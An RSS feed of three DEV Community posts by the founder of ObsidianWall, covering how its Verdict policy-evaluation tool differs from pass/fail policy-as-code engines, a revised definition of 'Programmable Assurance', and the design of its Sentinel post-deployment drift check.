<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Aisha</title>
    <description>The latest articles on DEV Community by Aisha (@aisha_ow).</description>
    <link>https://dev.to/aisha_ow</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3949967%2Fbf0520a6-2209-41cd-b79d-58bd28f1ecf7.png</url>
      <title>DEV Community: Aisha</title>
      <link>https://dev.to/aisha_ow</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aisha_ow"/>
    <language>en</language>
    <item>
      <title>Policy-as-Code Gives You Pass/Fail. Governance Needs More Than That.</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Tue, 30 Jun 2026 10:00:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/policy-as-code-gives-you-passfail-governance-needs-more-than-that-5a61</link>
      <guid>https://dev.to/aisha_ow/policy-as-code-gives-you-passfail-governance-needs-more-than-that-5a61</guid>
      <description>&lt;p&gt;Every time I show someone ObsidianWall Verdict, the first question is some version of: "how is this different from OPA?"&lt;/p&gt;

&lt;p&gt;It is a fair question. So here is the honest answer — not a sales pitch, an architectural one.&lt;/p&gt;




&lt;h2&gt;
  
  
  Policy-as-Code does one thing extremely well
&lt;/h2&gt;

&lt;p&gt;Open Policy Agent, HashiCorp Sentinel, Checkov — these tools evaluate structured data against a policy at a specific point in time and return pass or fail.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;Input:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;Terraform&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;plan&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;JSON&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Policy:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;Rego&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Sentinel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;Output:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fast. Deterministic. Battle-tested at scale. If you need raw evaluation logic, these are mature, capable tools. I am not arguing against them.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where it stops being enough
&lt;/h2&gt;

&lt;p&gt;Three things break down the moment policy evaluation has to operate inside a real organization instead of an isolated CI step.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Binary rigidity.&lt;/strong&gt; A policy engine returns pass or fail. There's no native concept of "this needs approval but can proceed" versus "this is a hard stop." A mission-critical hotfix that trips a minor tagging rule just breaks the pipeline. No nuance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No human context.&lt;/strong&gt; The engine can't tell you who has authority to override a rule, why they did, or whether the right person signed off. An engineer drops a &lt;code&gt;#ignore&lt;/code&gt; comment in code and that decision typically vanishes — no structured record of who made it or why.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Point-in-time blindness.&lt;/strong&gt; Policy-as-Code checks a static file before deployment. It has zero visibility into whether the deployment actually succeeded or what the infrastructure looks like five months later. No reality evidence. No way to verify deployed state still matches what was authorized.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I built instead
&lt;/h2&gt;

&lt;p&gt;Verdict — ObsidianWall's evaluation engine — wraps the policy mechanic in four things a complete governance system actually needs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Five-level typed decisions, not pass/fail:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ALLOW
ALLOW_WITH_NOTIFICATION
ALLOW_WITH_APPROVAL_REQUIRED
DENY_WITH_OVERRIDE
DENY
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A failed condition doesn't have to mean a broken pipeline. It can mean a Slack notification to the budget owner, a required sign-off from security, or an explicit override path with a named authorized role.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Named accountability on every decision.&lt;/strong&gt; Every override, approval, and exception gets written to an immutable audit artifact with a named person, a named policy, and a named timestamp. That's the difference between a buried &lt;code&gt;#ignore&lt;/code&gt; comment and a record an auditor can actually review six months later.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical Risk and Governance Risk as separate dimensions.&lt;/strong&gt; A deployment can score Technical Risk 0 and Governance Risk Critical at the same time. A policy engine alone can't express that distinction — it only knows if the rule passed. Whether something is technically misconfigured and whether it violates an organizational obligation are genuinely different questions with different owners.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-deployment and post-deployment, working together.&lt;/strong&gt; Verdict evaluates before deployment. Sentinel verifies after. Together they check that operational reality stayed aligned with what was authorized — a gap point-in-time evaluation can't see by design.&lt;/p&gt;




&lt;h2&gt;
  
  
  The actual relationship
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;              Human Intent
                   │
                   ▼
         ┌──────────────────┐
         │   ObsidianWall    │
         │  Governance Layer │
         │                   │
         │  Typed decisions  │
         │  Accountability   │
         │  Risk separation  │
         │  Post-deploy check│
         └─────────┬─────────┘
                   │
                   ▼
         ┌──────────────────┐
         │ Policy Evaluation │
         │  Mechanic Layer   │
         │                   │
         │  OPA / Rego, or   │
         │  ObsidianWall's   │
         │  native YAML      │
         └─────────┬─────────┘
                   │
                   ▼
          Terraform Plan /
          CloudFormation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A policy engine could sit underneath ObsidianWall as the evaluation mechanic — they're not mutually exclusive. ObsidianWall's native format is YAML rather than Rego, by design, to lower the barrier for security and platform teams who aren't policy-DSL specialists. But the architectural point stands regardless of which evaluation mechanic you use: ObsidianWall orchestrates accountability, risk separation, and verification. Policy engines provide the evaluation primitive underneath.&lt;/p&gt;




&lt;h2&gt;
  
  
  When you'd actually want which
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Stick with raw Policy-as-Code if&lt;/strong&gt; you need maximum flexibility in policy logic, your team already knows Rego, you only need pass/fail with no accountability layer, or post-deployment drift isn't in scope for what you're governing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reach for ObsidianWall if&lt;/strong&gt; you need typed decisions beyond pass/fail, named accountability for overrides, compliance coverage mapping (HIPAA, SOC 2, CIS v8, NIST AI RMF), separation between technical misconfiguration and governance violations, or evidence that still holds up in an audit six months out.&lt;/p&gt;




&lt;p&gt;Policy-as-Code gives you the technical ability to check a file.&lt;/p&gt;

&lt;p&gt;What I'm trying to build gives you the institutional guarantee that the decision was accountable, the risk was understood in both technical and governance terms, the right people were notified, and the deployed reality still matches what was authorized.&lt;/p&gt;

&lt;p&gt;Different questions. Not a competition.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;ObsidianWall Verdict is open source. &lt;a href="https://github.com/obsidianwall/obsidianwall-verdict" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://pypi.org/project/obsidianwall-verdict/" rel="noopener noreferrer"&gt;PyPI&lt;/a&gt; · &lt;code&gt;pip install obsidianwall-verdict&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>devops</category>
      <category>terraform</category>
    </item>
    <item>
      <title>Why I Rewrote the Definition of Programmable Assurance</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Tue, 23 Jun 2026 10:31:14 +0000</pubDate>
      <link>https://dev.to/aisha_ow/why-i-rewrote-the-definition-of-programmable-assurance-3ha0</link>
      <guid>https://dev.to/aisha_ow/why-i-rewrote-the-definition-of-programmable-assurance-3ha0</guid>
      <description>&lt;p&gt;&lt;strong&gt;Intent should align with outcomes.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It sounds obvious.&lt;/p&gt;

&lt;p&gt;Yet most organizations have no reliable way to verify that it does.&lt;/p&gt;

&lt;p&gt;Policies exist.&lt;/p&gt;

&lt;p&gt;Controls exist.&lt;/p&gt;

&lt;p&gt;Accountability often does not.&lt;/p&gt;

&lt;p&gt;Evidence is fragmented.&lt;/p&gt;

&lt;p&gt;The gap between intent and outcomes is where governance failures live.&lt;/p&gt;




&lt;p&gt;Modern organizations run on software.&lt;/p&gt;

&lt;p&gt;Infrastructure is programmable.&lt;/p&gt;

&lt;p&gt;Identity is programmable.&lt;/p&gt;

&lt;p&gt;Security is programmable.&lt;/p&gt;

&lt;p&gt;AI systems are programmable.&lt;/p&gt;

&lt;p&gt;Governance is not.&lt;/p&gt;

&lt;p&gt;Programmable Assurance is the discipline of ensuring it is.&lt;/p&gt;




&lt;p&gt;About three weeks ago I published a definition of Programmable Assurance that I was genuinely proud of.&lt;/p&gt;

&lt;p&gt;Then I spent three weeks building, shipping, watching an AI independently discover and classify what I was building without being told what it was, and having a lot of uncomfortable conversations about what governance actually means to people who are not engineers.&lt;/p&gt;

&lt;p&gt;I realized the definition was too small.&lt;/p&gt;

&lt;p&gt;Not wrong. Too small.&lt;/p&gt;

&lt;p&gt;The original definition described the mechanism.&lt;/p&gt;

&lt;p&gt;The new definition describes the outcome.&lt;/p&gt;




&lt;p&gt;Here is what I wrote in June:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The discipline of expressing organizational intent as executable, verifiable, explainable, and continuously enforceable governance logic."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When I said that to engineers, they understood it immediately.&lt;/p&gt;

&lt;p&gt;When I said it to a Chief Risk Officer, she heard "developer problem."&lt;/p&gt;

&lt;p&gt;When I said it to a General Counsel, he asked if it was a compliance scanner.&lt;/p&gt;

&lt;p&gt;That is not a communication problem.&lt;/p&gt;

&lt;p&gt;That is a definition problem.&lt;/p&gt;

&lt;p&gt;The original definition explained how Programmable Assurance works technically.&lt;/p&gt;

&lt;p&gt;It did not explain what problem it solves organizationally.&lt;/p&gt;




&lt;h2&gt;
  
  
  The New Definition
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Programmable Assurance is the discipline of continuously aligning intent with outcomes through executable governance, accountability, evidence, and feedback.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For those who want the full scope boundary:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Programmable Assurance is the discipline of making governance intent executable, continuously enforceable, and accountable — governing the organizational decisions, systems, and responses through which intent becomes reality, with evidence and feedback that close the gap between the two.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The shorthand explains the outcome.&lt;/p&gt;

&lt;p&gt;The canonical definition explains the mechanism.&lt;/p&gt;

&lt;p&gt;Both describe the same idea.&lt;/p&gt;

&lt;p&gt;The problem Programmable Assurance solves is not fundamentally a technical problem.&lt;/p&gt;

&lt;p&gt;It is an organizational one.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why the Original Definition Was Too Narrow
&lt;/h2&gt;

&lt;p&gt;The original definition treated intent as an engineering design pattern.&lt;/p&gt;

&lt;p&gt;YAML conditions.&lt;/p&gt;

&lt;p&gt;Policy DSL files.&lt;/p&gt;

&lt;p&gt;Terraform plans.&lt;/p&gt;

&lt;p&gt;That framing works when you are governing infrastructure.&lt;/p&gt;

&lt;p&gt;It breaks the moment someone asks whether Programmable Assurance applies to an NDA policy, a procurement approval, or a board-level risk acceptance.&lt;/p&gt;

&lt;p&gt;Those have no pipeline.&lt;/p&gt;

&lt;p&gt;No condition expression.&lt;/p&gt;

&lt;p&gt;No deployment.&lt;/p&gt;

&lt;p&gt;But they still have intent.&lt;/p&gt;

&lt;p&gt;They still have decisions.&lt;/p&gt;

&lt;p&gt;They still have accountability.&lt;/p&gt;

&lt;p&gt;And when they fail, someone still needs evidence of what happened.&lt;/p&gt;

&lt;p&gt;The original definition excluded those cases by accident.&lt;/p&gt;

&lt;p&gt;I had been so focused on the infrastructure use case — which is where my own implementation starts — that I wrote a definition for a product instead of a category.&lt;/p&gt;

&lt;p&gt;That mistake compounds.&lt;/p&gt;

&lt;p&gt;If the category definition is too narrow, every future expansion requires re-educating the market.&lt;/p&gt;

&lt;p&gt;I would rather define it correctly once.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Programmable Assurance Actually Argues For
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is not a topology.&lt;/p&gt;

&lt;p&gt;It is not a deployment model.&lt;/p&gt;

&lt;p&gt;It is not a governance architecture.&lt;/p&gt;

&lt;p&gt;It is a behavioral argument.&lt;/p&gt;

&lt;p&gt;Whatever governance you have — wherever it lives — it should behave four ways.&lt;/p&gt;




&lt;h3&gt;
  
  
  Intent Must Be Executable
&lt;/h3&gt;

&lt;p&gt;Governance that exists only as a document is aspiration, not governance.&lt;/p&gt;

&lt;p&gt;Intent becomes governance when it can influence, constrain, verify, or record the behavior it governs.&lt;/p&gt;

&lt;p&gt;For a security policy that might be a condition that evaluates before a deployment executes.&lt;/p&gt;

&lt;p&gt;For a procurement policy it might be an approval gate.&lt;/p&gt;

&lt;p&gt;For a board-level risk acceptance it might be a signed ledger entry recording who accepted the risk and when.&lt;/p&gt;

&lt;p&gt;The form changes.&lt;/p&gt;

&lt;p&gt;The requirement does not.&lt;/p&gt;




&lt;h3&gt;
  
  
  Enforcement Must Be Continuous
&lt;/h3&gt;

&lt;p&gt;Annual audits tell you what happened.&lt;/p&gt;

&lt;p&gt;They do not prevent what happens next.&lt;/p&gt;

&lt;p&gt;By the time an auditor reviews a control, the violation has already occurred.&lt;/p&gt;

&lt;p&gt;The breach has already happened.&lt;/p&gt;

&lt;p&gt;The bill has already arrived.&lt;/p&gt;

&lt;p&gt;Real governance operates at the speed of change.&lt;/p&gt;

&lt;p&gt;It runs whenever relevant decisions occur.&lt;/p&gt;

&lt;p&gt;Not months later.&lt;/p&gt;




&lt;h3&gt;
  
  
  Every Decision Must Be Accountable
&lt;/h3&gt;

&lt;p&gt;This one is personal.&lt;/p&gt;

&lt;p&gt;I have watched security teams get blamed for outcomes created by decisions that nobody documented.&lt;/p&gt;

&lt;p&gt;The risk was raised.&lt;/p&gt;

&lt;p&gt;Leadership declined to act.&lt;/p&gt;

&lt;p&gt;The record disappeared into email threads.&lt;/p&gt;

&lt;p&gt;Years later, when something went wrong, nobody could reconstruct who decided what.&lt;/p&gt;

&lt;p&gt;Accountability is not blame.&lt;/p&gt;

&lt;p&gt;Accountability is the record that connects intent to decision to outcome.&lt;/p&gt;

&lt;p&gt;Without that record, governance becomes theater.&lt;/p&gt;

&lt;p&gt;With it, governance becomes defensible.&lt;/p&gt;




&lt;h3&gt;
  
  
  Outcomes Must Feed Back Into Intent
&lt;/h3&gt;

&lt;p&gt;Governance that does not learn eventually becomes wrong.&lt;/p&gt;

&lt;p&gt;Organizations change.&lt;/p&gt;

&lt;p&gt;Risk profiles change.&lt;/p&gt;

&lt;p&gt;Regulations change.&lt;/p&gt;

&lt;p&gt;Business priorities change.&lt;/p&gt;

&lt;p&gt;A governance system that cannot observe outcomes has no mechanism for knowing when its assumptions no longer match reality.&lt;/p&gt;

&lt;p&gt;The feedback loop is what keeps intent aligned with outcomes over time.&lt;/p&gt;

&lt;p&gt;Without feedback, governance stagnates.&lt;/p&gt;

&lt;p&gt;With feedback, governance improves.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Scope Boundary
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance applies wherever organizational intent can be translated into governable decisions, evidence, accountability, and feedback.&lt;/p&gt;

&lt;p&gt;It does not govern human free will.&lt;/p&gt;

&lt;p&gt;It governs the systems and decisions that respond to, record, authorize, and account for human behavior.&lt;/p&gt;

&lt;p&gt;A harassment incident cannot be prevented by software.&lt;/p&gt;

&lt;p&gt;But the investigation workflow, the evidence chain, the accountability record, and the organizational response absolutely can be governed.&lt;/p&gt;

&lt;p&gt;Those systems matter.&lt;/p&gt;

&lt;p&gt;And they are governable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Founding Insight
&lt;/h2&gt;

&lt;p&gt;The insight did not come from a single incident.&lt;/p&gt;

&lt;p&gt;It emerged repeatedly across every layer I operated in.&lt;/p&gt;

&lt;p&gt;Because of the nature of my work, I was often responsible for the entire lifecycle.&lt;/p&gt;

&lt;p&gt;I helped establish intent.&lt;/p&gt;

&lt;p&gt;I translated that intent into policies and controls.&lt;/p&gt;

&lt;p&gt;I implemented those controls across cloud platforms and security systems.&lt;/p&gt;

&lt;p&gt;I operated the environments those controls governed.&lt;/p&gt;

&lt;p&gt;I investigated the outcomes when things failed.&lt;/p&gt;

&lt;p&gt;And I was responsible for the financial consequences when they did.&lt;/p&gt;

&lt;p&gt;Most people experience only one layer of that process.&lt;/p&gt;

&lt;p&gt;An engineer sees implementation.&lt;/p&gt;

&lt;p&gt;A compliance officer sees policy.&lt;/p&gt;

&lt;p&gt;A security analyst sees findings.&lt;/p&gt;

&lt;p&gt;A finance team sees costs.&lt;/p&gt;

&lt;p&gt;I was moving between all of them.&lt;/p&gt;

&lt;p&gt;And from every layer, I kept encountering the same failure in a different form.&lt;/p&gt;

&lt;p&gt;As an engineer, I saw tools that reported what had already gone wrong.&lt;/p&gt;

&lt;p&gt;The cloud bill arrived after the spend.&lt;/p&gt;

&lt;p&gt;The breach notification arrived after the incident.&lt;/p&gt;

&lt;p&gt;The compliance finding arrived after the audit.&lt;/p&gt;

&lt;p&gt;Systems designed to monitor outcomes rather than prevent them.&lt;/p&gt;

&lt;p&gt;As a security practitioner, I watched engineers encounter controls they did not understand.&lt;/p&gt;

&lt;p&gt;A policy blocks a deployment.&lt;/p&gt;

&lt;p&gt;The engineer sees friction.&lt;/p&gt;

&lt;p&gt;They find a workaround.&lt;/p&gt;

&lt;p&gt;The control fails not because it was wrong—but because it never explained why it existed.&lt;/p&gt;

&lt;p&gt;Nobody told them the business reason, the regulatory obligation, or the financial consequence attached to disabling it.&lt;/p&gt;

&lt;p&gt;A control that is enforced but not understood creates friction.&lt;/p&gt;

&lt;p&gt;A control that is enforced and understood creates alignment.&lt;/p&gt;

&lt;p&gt;When I was starting out, I wished someone had explained the why behind every enforcement.&lt;/p&gt;

&lt;p&gt;That MFA was not just a configuration checkbox.&lt;/p&gt;

&lt;p&gt;It was a regulatory obligation with financial exposure attached.&lt;/p&gt;

&lt;p&gt;That understanding would have made me a better engineer faster.&lt;/p&gt;

&lt;p&gt;It would have made compliance drift less likely.&lt;/p&gt;

&lt;p&gt;As a policy author implementing controls in Microsoft Purview, Azure Policy, and Entra ID, I stopped one afternoon and asked a simple question:&lt;/p&gt;

&lt;p&gt;Will any engineer who encounters this control know why it exists?&lt;/p&gt;

&lt;p&gt;The answer was no.&lt;/p&gt;

&lt;p&gt;And I realized something larger.&lt;/p&gt;

&lt;p&gt;The intent was in SharePoint.&lt;/p&gt;

&lt;p&gt;The policy was in Azure Policy.&lt;/p&gt;

&lt;p&gt;The enforcement was in Entra ID.&lt;/p&gt;

&lt;p&gt;The evidence was in Azure Monitor.&lt;/p&gt;

&lt;p&gt;The budget controls were somewhere else entirely.&lt;/p&gt;

&lt;p&gt;None of those systems had any awareness of the others.&lt;/p&gt;

&lt;p&gt;No shared vocabulary.&lt;/p&gt;

&lt;p&gt;No shared evidence.&lt;/p&gt;

&lt;p&gt;No shared feedback.&lt;/p&gt;

&lt;p&gt;Each system saw only its own slice of the picture.&lt;/p&gt;

&lt;p&gt;Different systems.&lt;/p&gt;

&lt;p&gt;Different layers.&lt;/p&gt;

&lt;p&gt;Different problems.&lt;/p&gt;

&lt;p&gt;The same underlying failure.&lt;/p&gt;

&lt;p&gt;Organizations define intent in one place,&lt;/p&gt;

&lt;p&gt;execute it somewhere else,&lt;/p&gt;

&lt;p&gt;measure it somewhere else,&lt;/p&gt;

&lt;p&gt;and explain it nowhere.&lt;/p&gt;

&lt;p&gt;That is Governance Fragmentation.&lt;/p&gt;

&lt;p&gt;That is the Intent-Reality Gap.&lt;/p&gt;

&lt;p&gt;That is the problem that kept appearing from every angle, no matter which layer I was operating in.&lt;/p&gt;

&lt;p&gt;The cloud bill was a symptom.&lt;/p&gt;

&lt;p&gt;The bypassed control was a symptom.&lt;/p&gt;

&lt;p&gt;The policy nobody could find was a symptom.&lt;/p&gt;

&lt;p&gt;The risk acceptance nobody could reconstruct was a symptom.&lt;/p&gt;

&lt;p&gt;The disease was always the same:&lt;/p&gt;

&lt;p&gt;intent and outcomes were disconnected.&lt;/p&gt;

&lt;p&gt;Programmable Assurance closes that gap.&lt;/p&gt;

&lt;p&gt;Not with more policies.&lt;/p&gt;

&lt;p&gt;Not with better dashboards.&lt;/p&gt;

&lt;p&gt;With systems that connect intent to outcomes—and carry that intent all the way to the execution layer where it can actually change behavior—with evidence that proves it did.&lt;/p&gt;

&lt;p&gt;The vision existed long before I had language for it.&lt;/p&gt;

&lt;p&gt;The definition finally says it in a way that scales with it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Aisha Ibrahim. is the founder of ObsidianWall, building infrastructure for Programmable Assurance.&lt;/em&gt; &lt;em&gt;&lt;a href="https://obsidianwall.com" rel="noopener noreferrer"&gt;obsidianwall.com&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If you missed the original definition article, it is &lt;a href="https://dev.to/aisha_ow/defining-programmable-assurance-3675"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>governance</category>
      <category>security</category>
      <category>programmableassurance</category>
      <category>devops</category>
    </item>
    <item>
      <title>I Built a Pre-Deployment Governance Tool. Here's What It Couldn't Answer.</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Mon, 08 Jun 2026 09:30:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/i-built-a-pre-deployment-governance-tool-heres-what-it-couldnt-answer-ecm</link>
      <guid>https://dev.to/aisha_ow/i-built-a-pre-deployment-governance-tool-heres-what-it-couldnt-answer-ecm</guid>
      <description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;By Aisha Ibrahim&lt;br&gt;
Founder, ObsidianWall&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;About three months into building ObsidianWall Verdict, I ran into a question I kept not being able to answer.&lt;/p&gt;

&lt;p&gt;Verdict works well at what it does. You give it a Terraform plan and a policy, and it tells you whether the deployment should proceed — risk score, condition trace, full audit artifact. Deterministic. Explainable. Fast.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;verdict evaluate &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--plan&lt;/span&gt;   terraform_plan.json &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy&lt;/span&gt; policies/cost/basic_budget.yaml &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt;   engineer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;DENY_WITH_OVERRIDE&lt;/code&gt;. Risk 75/100. Budget exceeded.&lt;/p&gt;

&lt;p&gt;Clean output. Clear decision.&lt;/p&gt;

&lt;p&gt;Except I kept thinking: &lt;em&gt;then what?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The deployment got blocked. Did someone override it? Did they just deploy from a different terminal? Did the cost actually come in under budget when they eventually ran it? Did the policy even matter?&lt;/p&gt;

&lt;p&gt;Verdict had no idea. It made a decision and moved on. That's a policy engine, not a governance system.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;The gap nobody talks about&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most policy-as-code tools stop at pass/fail. Check runs, result comes back, pipeline continues or doesn't. That's where the category ends for most teams.&lt;/p&gt;

&lt;p&gt;But the whole premise of what I'm building — Programmable Assurance — is that enforcement alone isn't assurance. Assurance means you can demonstrate that reality stayed aligned with intent over time. Not just at the moment of deployment. After it.&lt;/p&gt;

&lt;p&gt;So I started building Sentinel.&lt;/p&gt;

&lt;p&gt;Verdict's question: &lt;em&gt;should this deployment be allowed?&lt;/em&gt;&lt;br&gt;
Sentinel's question: &lt;em&gt;did reality stay aligned after the decision was made?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Those sound similar. They're not.&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;The design problem I didn't see coming&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My first draft of Sentinel required passing &lt;code&gt;--policy&lt;/code&gt; on every scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;verdict sentinel scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--plan&lt;/span&gt;   terraform_plan.json &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy&lt;/span&gt; policies/cost/basic_budget.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicit. Works fine. Also wrong.&lt;/p&gt;

&lt;p&gt;The problem isn't the UX. The problem is what question it's asking. When you require &lt;code&gt;--policy&lt;/code&gt;, you're asking: &lt;em&gt;which policy file should I use?&lt;/em&gt; But when you run Sentinel, the real question is: &lt;em&gt;which governance decision am I verifying against?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Those are different questions. One is filesystem-centric. The other is governance-centric.&lt;/p&gt;

&lt;p&gt;If a policy file gets moved, renamed, or updated between Verdict's evaluation and when Sentinel runs, you lose the connection. You're no longer comparing against the original decision — you're comparing against whatever the current policy says. That's not reality verification. That's just running Verdict twice.&lt;/p&gt;

&lt;p&gt;The fix was small but it mattered architecturally. Store the policy path inside the governance decision record at evaluation time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;record_decision&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;plan_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;policy_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# now stored in decisions table
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now Sentinel loads the comparison decision from governance history, reads the stored &lt;code&gt;policy_path&lt;/code&gt;, and uses that to re-evaluate the current plan. No &lt;code&gt;--policy&lt;/code&gt; flag required.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;verdict sentinel scan &lt;span class="nt"&gt;--plan&lt;/span&gt; terraform_plan.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The governance record is the source of truth. Not the filesystem. The decision ID is the stable reference — not a file path that might change.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;What the output actually looks like&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When nothing has drifted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;────────────────────────────────────────────────────────────────────────
  ObsidianWall Sentinel — Drift Detection Report
────────────────────────────────────────────────────────────────────────

  Decision:  5a6f5869  (2026-06-08 05:55:04)
  Policy:    basic_budget_verdict
  Plan:      samples/terraform_plan.json

  Decision Comparison
────────────────────────────────────────────────────────────────────────
  Previous:  ⚠️  DENY_WITH_OVERRIDE    risk: 75/100
  Current:   ⚠️  DENY_WITH_OVERRIDE    risk: 75/100

  Condition Comparison
────────────────────────────────────────────────────────────────────────
  budget_check    ✗ FAIL → ✗ FAIL    unchanged

  Outcome
────────────────────────────────────────────────────────────────────────
  ✅ No drift detected
  Recorded: no_drift
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pay attention to what gets recorded: &lt;code&gt;no_drift&lt;/code&gt;. Not &lt;code&gt;deployment_success&lt;/code&gt;.&lt;/p&gt;

